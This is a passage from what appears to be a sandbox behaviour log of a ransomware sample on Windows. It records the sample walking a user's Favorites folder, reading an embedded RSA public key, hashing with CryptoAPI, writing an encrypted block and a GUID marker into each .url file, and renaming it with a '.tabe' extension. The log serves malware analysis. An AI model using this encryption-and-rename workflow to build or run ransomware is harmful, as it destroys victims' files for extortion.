KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.991] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.991] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.991] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.991] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.992] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.992] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.992] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.992] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.992] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.992] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.992] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.992] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.992] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.992] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.992] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.992] CloseHandle (hObject=0x618) returned 1 [0126.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.tabe")) returned 1 [0126.995] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0126.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0126.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.996] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.996] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.997] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.997] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.998] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.998] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.999] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.999] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.999] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.999] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.999] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.999] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.999] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.999] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.999] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.999] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.999] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.999] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.999] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.999] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.999] CloseHandle (hObject=0x618) returned 1 [0127.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.tabe")) returned 1 [0127.001] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0127.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0127.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.002] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.003] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.003] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.004] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.004] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.004] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.004] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.004] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.005] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.005] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.005] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.005] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.005] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.005] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.005] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.005] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.005] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.006] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.006] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.006] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.006] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.006] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.006] CloseHandle (hObject=0x618) returned 1 [0127.007] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.tabe")) returned 1 [0127.008] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0127.008] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0127.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.009] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.009] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.010] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.010] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.011] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.011] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.011] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.011] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.011] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.012] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.012] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.012] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.012] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.012] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.012] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.012] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.012] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.012] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.012] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.012] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.012] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.012] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.012] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.013] CloseHandle (hObject=0x618) returned 1 [0127.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.tabe")) returned 1 [0127.017] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0127.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0127.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.018] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.018] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.019] SetFilePointerEx (in: 